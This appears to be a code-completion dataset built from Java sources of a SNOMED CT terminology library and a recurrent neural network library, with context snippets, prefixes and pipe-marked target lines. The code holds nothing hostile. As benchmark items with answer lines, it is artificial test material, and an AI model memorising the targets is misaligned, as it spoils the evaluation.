// public static final Property<Concept> TARGET_CONCEPT = new Property<Concept>("targetConcept");
//
// public void setCharacteristicType(Integer characteristicType) {
// writeProperty("characteristicType", characteristicType);
// }
// public Integer getCharacteristicType() {
// return (Integer)readProperty("characteristicType");
// }
//
// public void setDateUpdated(Date dateUpdated) {
// writeProperty("dateUpdated", dateUpdated);
// }
// public Date getDateUpdated() {
// return (Date)readProperty("dateUpdated");
// }
//
// public void setRefinability(Integer refinability) {
// writeProperty("refinability", refinability);
// }
// public Integer getRefinability() {
// return (Integer)readProperty("refinability");
// }
//
// public void setRelationshipGroup(String relationshipGroup) {
// writeProperty("relationshipGroup", relationshipGroup);
// }
// public String getRelationshipGroup() {
// return (String)readProperty("relationshipGroup");
// }
//
// public void setRelationshipId(Long relationshipId) {
// writeProperty("relationshipId", relationshipId);
// }
// public Long getRelationshipId() {
// return (Long)readProperty("relationshipId");
// }
//
// public void setRelationshipTypeConcept(Concept relationshipTypeConcept) {
// setToOneTarget("relationshipTypeConcept", relationshipTypeConcept, true);
// }
//
// public Concept getRelationshipTypeConcept() {
// return (Concept)readProperty("relationshipTypeConcept");
// }
//
//
// public void setSourceConcept(Concept sourceConcept) {
// setToOneTarget("sourceConcept", sourceConcept, true);
// }
//
// public Concept getSourceConcept() {
// return (Concept)readProperty("sourceConcept");
// }
//
//
// public void setTargetConcept(Concept targetConcept) {
// setToOneTarget("targetConcept", targetConcept, true);
// }
//
// public Concept getTargetConcept() {
// return (Concept)readProperty("targetConcept");
// }
//
//
// }
//
// Path: rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/semantic/RelationType.java
// public enum RelationType {
// IS_A(116680003L),
// HAS_ACTIVE_INGREDIENT(127489000L),
// HAS_AMP(10362701000001108L),
// HAS_ARP(12223201000001101L),
// HAS_BASIS_OF_STRENGTH(10363001000001101L),
// HAS_DISPENSED_DOSE_FORM(10362901000001105L),
// HAS_DOSE_FORM(411116001L),
// HAS_EXCIPIENT(8653101000001104L),
// HAS_SPECIFIC_ACTIVE_INGREDIENT(10362801000001104L),
// HAS_TRADE_FAMILY_GROUP(9191701000001107L),
// HAS_VMP(10362601000001103L),
// VMP_NON_AVAILABILITY_INDICATOR(8940601000001102L),
// VMP_PRESCRIBING_STATUS(8940001000001105L),
// VRP_PRESCRIBING_STATUS(12223501000001103L);
//
// public final long conceptId;
//
// private final static HashMap<Long, RelationType> _lookup = new HashMap<Long, RelationType>();
// static {
// for (RelationType type : RelationType.values()) {
// _lookup.put(type.conceptId, type);
// }
// }
// RelationType(long conceptId) {
// this.conceptId = conceptId;
// }
// public static RelationType relationTypeForConceptId(long conceptId) {
// return _lookup.get(conceptId);
// }
// }
// Path: rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/Relationship.java
import java.util.Optional;
import com.eldrix.terminology.snomedct.auto._Relationship;
import com.eldrix.terminology.snomedct.semantic.RelationType;
package com.eldrix.terminology.snomedct;
public class Relationship extends _Relationship {
private static final long serialVersionUID = 1L;
| public Optional<RelationType> getRelationType() { |
wardle/rsterminology | rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/auto/_CrossMapSet.java | // Path: rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/CrossMapTable.java
// public class CrossMapTable extends _CrossMapTable {
//
// private static final long serialVersionUID = 1L;
//
// }
| import java.util.List;
import org.apache.cayenne.CayenneDataObject;
import org.apache.cayenne.exp.Property;
import com.eldrix.terminology.snomedct.CrossMapTable; | package com.eldrix.terminology.snomedct.auto;
/**
* Class _CrossMapSet was generated by Cayenne.
* It is probably a good idea to avoid changing this class manually,
* since it may be overwritten next time code is regenerated.
* If you need to make any customizations, please use subclass.
*/
public abstract class _CrossMapSet extends CayenneDataObject {
private static final long serialVersionUID = 1L;
public static final String SET_ID_PK_COLUMN = "set_id";
public static final Property<String> NAME = new Property<String>("name");
public static final Property<String> REALM_ID = new Property<String>("realmId");
public static final Property<Integer> RULE_TYPE = new Property<Integer>("ruleType");
public static final Property<String> SCHEME_ID = new Property<String>("schemeId");
public static final Property<String> SCHEME_NAME = new Property<String>("schemeName");
public static final Property<String> SCHEME_VERSION = new Property<String>("schemeVersion");
public static final Property<String> SEPARATOR = new Property<String>("separator");
public static final Property<Long> SET_ID = new Property<Long>("setId");
public static final Property<Integer> TYPE = new Property<Integer>("type"); | // Path: rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/CrossMapTable.java
// public class CrossMapTable extends _CrossMapTable {
//
// private static final long serialVersionUID = 1L;
//
// }
// Path: rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/auto/_CrossMapSet.java
import java.util.List;
import org.apache.cayenne.CayenneDataObject;
import org.apache.cayenne.exp.Property;
import com.eldrix.terminology.snomedct.CrossMapTable;
package com.eldrix.terminology.snomedct.auto;
/**
* Class _CrossMapSet was generated by Cayenne.
* It is probably a good idea to avoid changing this class manually,
* since it may be overwritten next time code is regenerated.
* If you need to make any customizations, please use subclass.
*/
public abstract class _CrossMapSet extends CayenneDataObject {
private static final long serialVersionUID = 1L;
public static final String SET_ID_PK_COLUMN = "set_id";
public static final Property<String> NAME = new Property<String>("name");
public static final Property<String> REALM_ID = new Property<String>("realmId");
public static final Property<Integer> RULE_TYPE = new Property<Integer>("ruleType");
public static final Property<String> SCHEME_ID = new Property<String>("schemeId");
public static final Property<String> SCHEME_NAME = new Property<String>("schemeName");
public static final Property<String> SCHEME_VERSION = new Property<String>("schemeVersion");
public static final Property<String> SEPARATOR = new Property<String>("separator");
public static final Property<Long> SET_ID = new Property<Long>("setId");
public static final Property<Integer> TYPE = new Property<Integer>("type"); | public static final Property<List<CrossMapTable>> TABLES = new Property<List<CrossMapTable>>("tables"); |
wardle/rsterminology | rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/ParentCache.java | // Path: rsterminology-core/src/main/java/com/eldrix/terminology/cayenne/CayenneUtility.java
// public class CayenneUtility {
//
// /**
// * A very simple helper method to iterate through a select query showing progress.
// * Most useful in a command line utility.
// */
// public static <T> void timedBatchIterator(ObjectContext context, SelectQuery<T> query, int batchSize, long count, Consumer<List<T>> forEach) {
// long i = 1;
// long batches = (count / batchSize) + (count % batchSize > 0 ? 1 : 0);
// long estimated = 0;
// System.out.println("Processing " + count + ((batches == 0) ? "" : (" in " + batches + " batches...")));
// long start = System.currentTimeMillis();
// try (ResultBatchIterator<T> iterator = query.batchIterator(context, batchSize)) {
// for(List<T> batch : iterator) {
// System.out.print("\rProcessing batch " + i + "/" + batches + (estimated == 0 ? "" : " Remaining: ~" + estimated / 60000 + " min "));
// forEach.accept(batch);
// i++;
// long elapsed = System.currentTimeMillis() - start;
// estimated = (batches - i) * elapsed / i;
// }
// }
// long duration = System.currentTimeMillis() - start;
// System.out.println("\nFinished processing : " + count + " Total time:" + duration / 60000 + " minutes");
// }
//
// }
| import java.util.Collections;
import java.util.HashMap;
import java.util.List;
import org.apache.cayenne.ObjectContext;
import org.apache.cayenne.map.SQLResult;
import org.apache.cayenne.query.EJBQLQuery;
import org.apache.cayenne.query.SQLTemplate;
import org.apache.cayenne.query.SelectQuery;
import com.eldrix.terminology.cayenne.CayenneUtility; | query.setFetchingDataRows(true);
return query;
}
/**
* Return the recursive parents for the given concept.
* @param context
* @param conceptId
* @return
*/
public static List<Long> fetchRecursiveParentsForConcept(ObjectContext context, long conceptId) {
SQLTemplate query = _sqlTemplateForRecursiveParentsForConcept(conceptId);
SQLResult resultDescriptor = new SQLResult();
resultDescriptor.addColumnResult("concept_id");
query.setResult(resultDescriptor);
@SuppressWarnings("unchecked") List<Long> result = context.performQuery(query);
return result;
}
/**
* Build the cached parent concept cache.
* This will naturally take a considerable amount of time to process and it is suggested that this be run
* within a background task.
*/
public static void buildParentCache(ObjectContext context) {
EJBQLQuery countQuery = new EJBQLQuery("select COUNT(c) FROM Concept c");
@SuppressWarnings("unchecked")
long count = ((List<Long>) context.performQuery(countQuery)).get(0);
SelectQuery<Concept> query = SelectQuery.query(Concept.class);
System.out.println("Building parent cache..."); | // Path: rsterminology-core/src/main/java/com/eldrix/terminology/cayenne/CayenneUtility.java
// public class CayenneUtility {
//
// /**
// * A very simple helper method to iterate through a select query showing progress.
// * Most useful in a command line utility.
// */
// public static <T> void timedBatchIterator(ObjectContext context, SelectQuery<T> query, int batchSize, long count, Consumer<List<T>> forEach) {
// long i = 1;
// long batches = (count / batchSize) + (count % batchSize > 0 ? 1 : 0);
// long estimated = 0;
// System.out.println("Processing " + count + ((batches == 0) ? "" : (" in " + batches + " batches...")));
// long start = System.currentTimeMillis();
// try (ResultBatchIterator<T> iterator = query.batchIterator(context, batchSize)) {
// for(List<T> batch : iterator) {
// System.out.print("\rProcessing batch " + i + "/" + batches + (estimated == 0 ? "" : " Remaining: ~" + estimated / 60000 + " min "));
// forEach.accept(batch);
// i++;
// long elapsed = System.currentTimeMillis() - start;
// estimated = (batches - i) * elapsed / i;
// }
// }
// long duration = System.currentTimeMillis() - start;
// System.out.println("\nFinished processing : " + count + " Total time:" + duration / 60000 + " minutes");
// }
//
// }
// Path: rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/ParentCache.java
import java.util.Collections;
import java.util.HashMap;
import java.util.List;
import org.apache.cayenne.ObjectContext;
import org.apache.cayenne.map.SQLResult;
import org.apache.cayenne.query.EJBQLQuery;
import org.apache.cayenne.query.SQLTemplate;
import org.apache.cayenne.query.SelectQuery;
import com.eldrix.terminology.cayenne.CayenneUtility;
query.setFetchingDataRows(true);
return query;
}
/**
* Return the recursive parents for the given concept.
* @param context
* @param conceptId
* @return
*/
public static List<Long> fetchRecursiveParentsForConcept(ObjectContext context, long conceptId) {
SQLTemplate query = _sqlTemplateForRecursiveParentsForConcept(conceptId);
SQLResult resultDescriptor = new SQLResult();
resultDescriptor.addColumnResult("concept_id");
query.setResult(resultDescriptor);
@SuppressWarnings("unchecked") List<Long> result = context.performQuery(query);
return result;
}
/**
* Build the cached parent concept cache.
* This will naturally take a considerable amount of time to process and it is suggested that this be run
* within a background task.
*/
public static void buildParentCache(ObjectContext context) {
EJBQLQuery countQuery = new EJBQLQuery("select COUNT(c) FROM Concept c");
@SuppressWarnings("unchecked")
long count = ((List<Long>) context.performQuery(countQuery)).get(0);
SelectQuery<Concept> query = SelectQuery.query(Concept.class);
System.out.println("Building parent cache..."); | CayenneUtility.timedBatchIterator(context, query, BATCH_SIZE, count, (concepts) -> { |
wardle/rsterminology | rsterminology-core/src/test/java/com/eldrix/terminology/snomedct/TestProject.java | // Path: rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/Search.java
// public interface ResultItem {
// public String getTerm();
// public long getConceptId();
// public String getPreferredTerm();
// }
//
// Path: rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/semantic/Category.java
// public enum Category {
// SNOMED_CT_ROOT(138875005L),
// DISEASE(64572001L),
// CLINICAL_FINDING(404684003L),
// PROCEDURE(71388002L),
// PHARMACEUTICAL_OR_BIOLOGICAL_PRODUCT(373873005L);
// public final long conceptId;
// Category(long conceptId) {
// this.conceptId = conceptId;
// }
// }
| import static org.junit.Assert.*;
import java.io.IOException;
import java.util.Collections;
import java.util.HashSet;
import java.util.List;
import java.util.stream.Collectors;
import org.apache.cayenne.ObjectContext;
import org.apache.cayenne.configuration.server.ServerRuntime;
import org.apache.cayenne.query.ObjectSelect;
import org.junit.AfterClass;
import org.junit.BeforeClass;
import org.junit.Test;
import com.eldrix.terminology.snomedct.Search.ResultItem;
import com.eldrix.terminology.snomedct.semantic.Category; | package com.eldrix.terminology.snomedct;
public class TestProject {
static ServerRuntime _runtime;
public ServerRuntime getRuntime() {
return _runtime;
}
@BeforeClass
public static void setUp() throws Exception {
_runtime = ServerRuntime.builder().addConfig("cayenne-project.xml").build();
}
@AfterClass
public static void tearDown() throws Exception {
_runtime.shutdown();
}
@Test
public void testFetchProject() throws IOException {
ObjectContext context = getRuntime().newContext();
final String ACUTE_PAEDS_NAME="CAVACUTEPAEDS";
Project p = ObjectSelect.query(Project.class, Project.NAME.eq(ACUTE_PAEDS_NAME)).selectOne(context);
assertEquals(ACUTE_PAEDS_NAME, p.getName());
// how many projects?
long numberProjects = ObjectSelect.query(Project.class).count().selectOne(context);
assertNotEquals(0, numberProjects);
// calculate a list of common concepts manually rather than in a single fetch
HashSet<Concept> common = new HashSet<Concept>();
p.getOrderedParents().forEach(proj -> common.addAll(proj.getCommonConcepts()));
// and now perform a filtered search...
Search search = Search.getInstance(); | // Path: rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/Search.java
// public interface ResultItem {
// public String getTerm();
// public long getConceptId();
// public String getPreferredTerm();
// }
//
// Path: rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/semantic/Category.java
// public enum Category {
// SNOMED_CT_ROOT(138875005L),
// DISEASE(64572001L),
// CLINICAL_FINDING(404684003L),
// PROCEDURE(71388002L),
// PHARMACEUTICAL_OR_BIOLOGICAL_PRODUCT(373873005L);
// public final long conceptId;
// Category(long conceptId) {
// this.conceptId = conceptId;
// }
// }
// Path: rsterminology-core/src/test/java/com/eldrix/terminology/snomedct/TestProject.java
import static org.junit.Assert.*;
import java.io.IOException;
import java.util.Collections;
import java.util.HashSet;
import java.util.List;
import java.util.stream.Collectors;
import org.apache.cayenne.ObjectContext;
import org.apache.cayenne.configuration.server.ServerRuntime;
import org.apache.cayenne.query.ObjectSelect;
import org.junit.AfterClass;
import org.junit.BeforeClass;
import org.junit.Test;
import com.eldrix.terminology.snomedct.Search.ResultItem;
import com.eldrix.terminology.snomedct.semantic.Category;
package com.eldrix.terminology.snomedct;
public class TestProject {
static ServerRuntime _runtime;
public ServerRuntime getRuntime() {
return _runtime;
}
@BeforeClass
public static void setUp() throws Exception {
_runtime = ServerRuntime.builder().addConfig("cayenne-project.xml").build();
}
@AfterClass
public static void tearDown() throws Exception {
_runtime.shutdown();
}
@Test
public void testFetchProject() throws IOException {
ObjectContext context = getRuntime().newContext();
final String ACUTE_PAEDS_NAME="CAVACUTEPAEDS";
Project p = ObjectSelect.query(Project.class, Project.NAME.eq(ACUTE_PAEDS_NAME)).selectOne(context);
assertEquals(ACUTE_PAEDS_NAME, p.getName());
// how many projects?
long numberProjects = ObjectSelect.query(Project.class).count().selectOne(context);
assertNotEquals(0, numberProjects);
// calculate a list of common concepts manually rather than in a single fetch
HashSet<Concept> common = new HashSet<Concept>();
p.getOrderedParents().forEach(proj -> common.addAll(proj.getCommonConcepts()));
// and now perform a filtered search...
Search search = Search.getInstance(); | List<ResultItem> result = new Search.Request.Builder(search) |
wardle/rsterminology | rsterminology-core/src/test/java/com/eldrix/terminology/snomedct/TestProject.java | // Path: rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/Search.java
// public interface ResultItem {
// public String getTerm();
// public long getConceptId();
// public String getPreferredTerm();
// }
//
// Path: rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/semantic/Category.java
// public enum Category {
// SNOMED_CT_ROOT(138875005L),
// DISEASE(64572001L),
// CLINICAL_FINDING(404684003L),
// PROCEDURE(71388002L),
// PHARMACEUTICAL_OR_BIOLOGICAL_PRODUCT(373873005L);
// public final long conceptId;
// Category(long conceptId) {
// this.conceptId = conceptId;
// }
// }
| import static org.junit.Assert.*;
import java.io.IOException;
import java.util.Collections;
import java.util.HashSet;
import java.util.List;
import java.util.stream.Collectors;
import org.apache.cayenne.ObjectContext;
import org.apache.cayenne.configuration.server.ServerRuntime;
import org.apache.cayenne.query.ObjectSelect;
import org.junit.AfterClass;
import org.junit.BeforeClass;
import org.junit.Test;
import com.eldrix.terminology.snomedct.Search.ResultItem;
import com.eldrix.terminology.snomedct.semantic.Category; | package com.eldrix.terminology.snomedct;
public class TestProject {
static ServerRuntime _runtime;
public ServerRuntime getRuntime() {
return _runtime;
}
@BeforeClass
public static void setUp() throws Exception {
_runtime = ServerRuntime.builder().addConfig("cayenne-project.xml").build();
}
@AfterClass
public static void tearDown() throws Exception {
_runtime.shutdown();
}
@Test
public void testFetchProject() throws IOException {
ObjectContext context = getRuntime().newContext();
final String ACUTE_PAEDS_NAME="CAVACUTEPAEDS";
Project p = ObjectSelect.query(Project.class, Project.NAME.eq(ACUTE_PAEDS_NAME)).selectOne(context);
assertEquals(ACUTE_PAEDS_NAME, p.getName());
// how many projects?
long numberProjects = ObjectSelect.query(Project.class).count().selectOne(context);
assertNotEquals(0, numberProjects);
// calculate a list of common concepts manually rather than in a single fetch
HashSet<Concept> common = new HashSet<Concept>();
p.getOrderedParents().forEach(proj -> common.addAll(proj.getCommonConcepts()));
// and now perform a filtered search...
Search search = Search.getInstance();
List<ResultItem> result = new Search.Request.Builder(search)
.search("bronchio").onlyActive().withoutFullySpecifiedNames() | // Path: rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/Search.java
// public interface ResultItem {
// public String getTerm();
// public long getConceptId();
// public String getPreferredTerm();
// }
//
// Path: rsterminology-core/src/main/java/com/eldrix/terminology/snomedct/semantic/Category.java
// public enum Category {
// SNOMED_CT_ROOT(138875005L),
// DISEASE(64572001L),
// CLINICAL_FINDING(404684003L),
// PROCEDURE(71388002L),
// PHARMACEUTICAL_OR_BIOLOGICAL_PRODUCT(373873005L);
// public final long conceptId;
// Category(long conceptId) {
// this.conceptId = conceptId;
// }
// }
// Path: rsterminology-core/src/test/java/com/eldrix/terminology/snomedct/TestProject.java
import static org.junit.Assert.*;
import java.io.IOException;
import java.util.Collections;
import java.util.HashSet;
import java.util.List;
import java.util.stream.Collectors;
import org.apache.cayenne.ObjectContext;
import org.apache.cayenne.configuration.server.ServerRuntime;
import org.apache.cayenne.query.ObjectSelect;
import org.junit.AfterClass;
import org.junit.BeforeClass;
import org.junit.Test;
import com.eldrix.terminology.snomedct.Search.ResultItem;
import com.eldrix.terminology.snomedct.semantic.Category;
package com.eldrix.terminology.snomedct;
public class TestProject {
static ServerRuntime _runtime;
public ServerRuntime getRuntime() {
return _runtime;
}
@BeforeClass
public static void setUp() throws Exception {
_runtime = ServerRuntime.builder().addConfig("cayenne-project.xml").build();
}
@AfterClass
public static void tearDown() throws Exception {
_runtime.shutdown();
}
@Test
public void testFetchProject() throws IOException {
ObjectContext context = getRuntime().newContext();
final String ACUTE_PAEDS_NAME="CAVACUTEPAEDS";
Project p = ObjectSelect.query(Project.class, Project.NAME.eq(ACUTE_PAEDS_NAME)).selectOne(context);
assertEquals(ACUTE_PAEDS_NAME, p.getName());
// how many projects?
long numberProjects = ObjectSelect.query(Project.class).count().selectOne(context);
assertNotEquals(0, numberProjects);
// calculate a list of common concepts manually rather than in a single fetch
HashSet<Concept> common = new HashSet<Concept>();
p.getOrderedParents().forEach(proj -> common.addAll(proj.getCommonConcepts()));
// and now perform a filtered search...
Search search = Search.getInstance();
List<ResultItem> result = new Search.Request.Builder(search)
.search("bronchio").onlyActive().withoutFullySpecifiedNames() | .withRecursiveParent(Category.DISEASE.conceptId).build() |
evolvingstuff/RecurrentJava | src/loss/LossArgMax.java | // Path: src/matrix/Matrix.java
// public class Matrix implements Serializable {
//
// private static final long serialVersionUID = 1L;
// public int rows;
// public int cols;
// public double[] w;
// public double[] dw;
// public double[] stepCache;
//
// @Override
// public String toString() {
// String result = "";
// for (int r = 0; r < rows; r++) {
// for (int c = 0; c < cols; c++) {
// result += String.format("%.4f",getW(r, c)) + "\t";
// }
// result += "\n";
// }
// return result;
// }
//
// public Matrix clone() {
// Matrix result = new Matrix(rows, cols);
// for (int i = 0; i < w.length; i++) {
// result.w[i] = w[i];
// result.dw[i] = dw[i];
// result.stepCache[i] = stepCache[i];
// }
// return result;
// }
//
// public void resetDw() {
// for (int i = 0; i < dw.length; i++) {
// dw[i] = 0;
// }
// }
//
// public void resetStepCache() {
// for (int i = 0; i < stepCache.length; i++) {
// stepCache[i] = 0;
// }
// }
//
// public static Matrix transpose(Matrix m) {
// Matrix result = new Matrix(m.cols, m.rows);
// for (int r = 0; r < m.rows; r++) {
// for (int c = 0; c < m.cols; c++) {
// result.setW(c, r, m.getW(r, c));
// }
// }
// return result;
// }
//
// public static Matrix rand(int rows, int cols, double initParamsStdDev, Random rng) {
// Matrix result = new Matrix(rows, cols);
// for (int i = 0; i < result.w.length; i++) {
// result.w[i] = rng.nextGaussian() * initParamsStdDev;
// }
// return result;
// }
//
// public static Matrix ident(int dim) {
// Matrix result = new Matrix(dim, dim);
// for (int i = 0; i < dim; i++) {
// result.setW(i, i, 1.0);
// }
// return result;
// }
//
// public static Matrix uniform(int rows, int cols, double s) {
// Matrix result = new Matrix(rows, cols);
// for (int i = 0; i < result.w.length; i++) {
// result.w[i] = s;
// }
// return result;
// }
//
// public static Matrix ones(int rows, int cols) {
// return uniform(rows, cols, 1.0);
// }
//
// public static Matrix negones(int rows, int cols) {
// return uniform(rows, cols, -1.0);
// }
//
// public Matrix(int dim) {
// this.rows = dim;
// this.cols = 1;
// this.w = new double[rows * cols];
// this.dw = new double[rows * cols];
// this.stepCache = new double[rows * cols];
// }
//
// public Matrix(int rows, int cols) {
// this.rows = rows;
// this.cols = cols;
// this.w = new double[rows * cols];
// this.dw = new double[rows * cols];
// this.stepCache = new double[rows * cols];
// }
//
// public Matrix(double[] vector) {
// this.rows = vector.length;
// this.cols = 1;
// this.w = vector;
// this.dw = new double[vector.length];
// this.stepCache = new double[vector.length];
// }
//
// private int index(int row, int col) {
// int ix = cols * row + col;
// return ix;
// }
//
// private double getW(int row, int col) {
// return w[index(row, col)];
// }
//
// private void setW(int row, int col, double val) {
// w[index(row, col)] = val;
// }
// }
| import matrix.Matrix; | package loss;
public class LossArgMax implements Loss {
/**
*
*/
private static final long serialVersionUID = 1L;
@Override | // Path: src/matrix/Matrix.java
// public class Matrix implements Serializable {
//
// private static final long serialVersionUID = 1L;
// public int rows;
// public int cols;
// public double[] w;
// public double[] dw;
// public double[] stepCache;
//
// @Override
// public String toString() {
// String result = "";
// for (int r = 0; r < rows; r++) {
// for (int c = 0; c < cols; c++) {
// result += String.format("%.4f",getW(r, c)) + "\t";
// }
// result += "\n";
// }
// return result;
// }
//
// public Matrix clone() {
// Matrix result = new Matrix(rows, cols);
// for (int i = 0; i < w.length; i++) {
// result.w[i] = w[i];
// result.dw[i] = dw[i];
// result.stepCache[i] = stepCache[i];
// }
// return result;
// }
//
// public void resetDw() {
// for (int i = 0; i < dw.length; i++) {
// dw[i] = 0;
// }
// }
//
// public void resetStepCache() {
// for (int i = 0; i < stepCache.length; i++) {
// stepCache[i] = 0;
// }
// }
//
// public static Matrix transpose(Matrix m) {
// Matrix result = new Matrix(m.cols, m.rows);
// for (int r = 0; r < m.rows; r++) {
// for (int c = 0; c < m.cols; c++) {
// result.setW(c, r, m.getW(r, c));
// }
// }
// return result;
// }
//
// public static Matrix rand(int rows, int cols, double initParamsStdDev, Random rng) {
// Matrix result = new Matrix(rows, cols);
// for (int i = 0; i < result.w.length; i++) {
// result.w[i] = rng.nextGaussian() * initParamsStdDev;
// }
// return result;
// }
//
// public static Matrix ident(int dim) {
// Matrix result = new Matrix(dim, dim);
// for (int i = 0; i < dim; i++) {
// result.setW(i, i, 1.0);
// }
// return result;
// }
//
// public static Matrix uniform(int rows, int cols, double s) {
// Matrix result = new Matrix(rows, cols);
// for (int i = 0; i < result.w.length; i++) {
// result.w[i] = s;
// }
// return result;
// }
//
// public static Matrix ones(int rows, int cols) {
// return uniform(rows, cols, 1.0);
// }
//
// public static Matrix negones(int rows, int cols) {
// return uniform(rows, cols, -1.0);
// }
//
// public Matrix(int dim) {
// this.rows = dim;
// this.cols = 1;
// this.w = new double[rows * cols];
// this.dw = new double[rows * cols];
// this.stepCache = new double[rows * cols];
// }
//
// public Matrix(int rows, int cols) {
// this.rows = rows;
// this.cols = cols;
// this.w = new double[rows * cols];
// this.dw = new double[rows * cols];
// this.stepCache = new double[rows * cols];
// }
//
// public Matrix(double[] vector) {
// this.rows = vector.length;
// this.cols = 1;
// this.w = vector;
// this.dw = new double[vector.length];
// this.stepCache = new double[vector.length];
// }
//
// private int index(int row, int col) {
// int ix = cols * row + col;
// return ix;
// }
//
// private double getW(int row, int col) {
// return w[index(row, col)];
// }
//
// private void setW(int row, int col, double val) {
// w[index(row, col)] = val;
// }
// }
// Path: src/loss/LossArgMax.java
import matrix.Matrix;
package loss;
public class LossArgMax implements Loss {
/**
*
*/
private static final long serialVersionUID = 1L;
@Override | public void backward(Matrix actualOutput, Matrix targetOutput) throws Exception { |
evolvingstuff/RecurrentJava | src/datastructs/DataStep.java | // Path: src/matrix/Matrix.java
// public class Matrix implements Serializable {
//
// private static final long serialVersionUID = 1L;
// public int rows;
// public int cols;
// public double[] w;
// public double[] dw;
// public double[] stepCache;
//
// @Override
// public String toString() {
// String result = "";
// for (int r = 0; r < rows; r++) {
// for (int c = 0; c < cols; c++) {
// result += String.format("%.4f",getW(r, c)) + "\t";
// }
// result += "\n";
// }
// return result;
// }
//
// public Matrix clone() {
// Matrix result = new Matrix(rows, cols);
// for (int i = 0; i < w.length; i++) {
// result.w[i] = w[i];
// result.dw[i] = dw[i];
// result.stepCache[i] = stepCache[i];
// }
// return result;
// }
//
// public void resetDw() {
// for (int i = 0; i < dw.length; i++) {
// dw[i] = 0;
// }
// }
//
// public void resetStepCache() {
// for (int i = 0; i < stepCache.length; i++) {
// stepCache[i] = 0;
// }
// }
//
// public static Matrix transpose(Matrix m) {
// Matrix result = new Matrix(m.cols, m.rows);
// for (int r = 0; r < m.rows; r++) {
// for (int c = 0; c < m.cols; c++) {
// result.setW(c, r, m.getW(r, c));
// }
// }
// return result;
// }
//
// public static Matrix rand(int rows, int cols, double initParamsStdDev, Random rng) {
// Matrix result = new Matrix(rows, cols);
// for (int i = 0; i < result.w.length; i++) {
// result.w[i] = rng.nextGaussian() * initParamsStdDev;
// }
// return result;
// }
//
// public static Matrix ident(int dim) {
// Matrix result = new Matrix(dim, dim);
// for (int i = 0; i < dim; i++) {
// result.setW(i, i, 1.0);
// }
// return result;
// }
//
// public static Matrix uniform(int rows, int cols, double s) {
// Matrix result = new Matrix(rows, cols);
// for (int i = 0; i < result.w.length; i++) {
// result.w[i] = s;
// }
// return result;
// }
//
// public static Matrix ones(int rows, int cols) {
// return uniform(rows, cols, 1.0);
// }
//
// public static Matrix negones(int rows, int cols) {
// return uniform(rows, cols, -1.0);
// }
//
// public Matrix(int dim) {
// this.rows = dim;
// this.cols = 1;
// this.w = new double[rows * cols];
// this.dw = new double[rows * cols];
// this.stepCache = new double[rows * cols];
// }
//
// public Matrix(int rows, int cols) {
// this.rows = rows;
// this.cols = cols;
// this.w = new double[rows * cols];
// this.dw = new double[rows * cols];
// this.stepCache = new double[rows * cols];
// }
//
// public Matrix(double[] vector) {
// this.rows = vector.length;
// this.cols = 1;
// this.w = vector;
// this.dw = new double[vector.length];
// this.stepCache = new double[vector.length];
// }
//
// private int index(int row, int col) {
// int ix = cols * row + col;
// return ix;
// }
//
// private double getW(int row, int col) {
// return w[index(row, col)];
// }
//
// private void setW(int row, int col, double val) {
// w[index(row, col)] = val;
// }
// }
| import java.io.Serializable;
import matrix.Matrix; | package datastructs;
public class DataStep implements Serializable {
private static final long serialVersionUID = 1L; | // Path: src/matrix/Matrix.java
// public class Matrix implements Serializable {
//
// private static final long serialVersionUID = 1L;
// public int rows;
// public int cols;
// public double[] w;
// public double[] dw;
// public double[] stepCache;
//
// @Override
// public String toString() {
// String result = "";
// for (int r = 0; r < rows; r++) {
// for (int c = 0; c < cols; c++) {
// result += String.format("%.4f",getW(r, c)) + "\t";
// }
// result += "\n";
// }
// return result;
// }
//
// public Matrix clone() {
// Matrix result = new Matrix(rows, cols);
// for (int i = 0; i < w.length; i++) {
// result.w[i] = w[i];
// result.dw[i] = dw[i];
// result.stepCache[i] = stepCache[i];
// }
// return result;
// }
//
// public void resetDw() {
// for (int i = 0; i < dw.length; i++) {
// dw[i] = 0;
// }
// }
//
// public void resetStepCache() {
// for (int i = 0; i < stepCache.length; i++) {
// stepCache[i] = 0;
// }
// }
//
// public static Matrix transpose(Matrix m) {
// Matrix result = new Matrix(m.cols, m.rows);
// for (int r = 0; r < m.rows; r++) {
// for (int c = 0; c < m.cols; c++) {
// result.setW(c, r, m.getW(r, c));
// }
// }
// return result;
// }
//
// public static Matrix rand(int rows, int cols, double initParamsStdDev, Random rng) {
// Matrix result = new Matrix(rows, cols);
// for (int i = 0; i < result.w.length; i++) {
// result.w[i] = rng.nextGaussian() * initParamsStdDev;
// }
// return result;
// }
//
// public static Matrix ident(int dim) {
// Matrix result = new Matrix(dim, dim);
// for (int i = 0; i < dim; i++) {
// result.setW(i, i, 1.0);
// }
// return result;
// }
//
// public static Matrix uniform(int rows, int cols, double s) {
// Matrix result = new Matrix(rows, cols);
// for (int i = 0; i < result.w.length; i++) {
// result.w[i] = s;
// }
// return result;
// }
//
// public static Matrix ones(int rows, int cols) {
// return uniform(rows, cols, 1.0);
// }
//
// public static Matrix negones(int rows, int cols) {
// return uniform(rows, cols, -1.0);
// }
//
// public Matrix(int dim) {
// this.rows = dim;
// this.cols = 1;
// this.w = new double[rows * cols];
// this.dw = new double[rows * cols];
// this.stepCache = new double[rows * cols];
// }
//
// public Matrix(int rows, int cols) {
// this.rows = rows;
// this.cols = cols;
// this.w = new double[rows * cols];
// this.dw = new double[rows * cols];
// this.stepCache = new double[rows * cols];
// }
//
// public Matrix(double[] vector) {
// this.rows = vector.length;
// this.cols = 1;
// this.w = vector;
// this.dw = new double[vector.length];
// this.stepCache = new double[vector.length];
// }
//
// private int index(int row, int col) {
// int ix = cols * row + col;
// return ix;
// }
//
// private double getW(int row, int col) {
// return w[index(row, col)];
// }
//
// private void setW(int row, int col, double val) {
// w[index(row, col)] = val;
// }
// }
// Path: src/datastructs/DataStep.java
import java.io.Serializable;
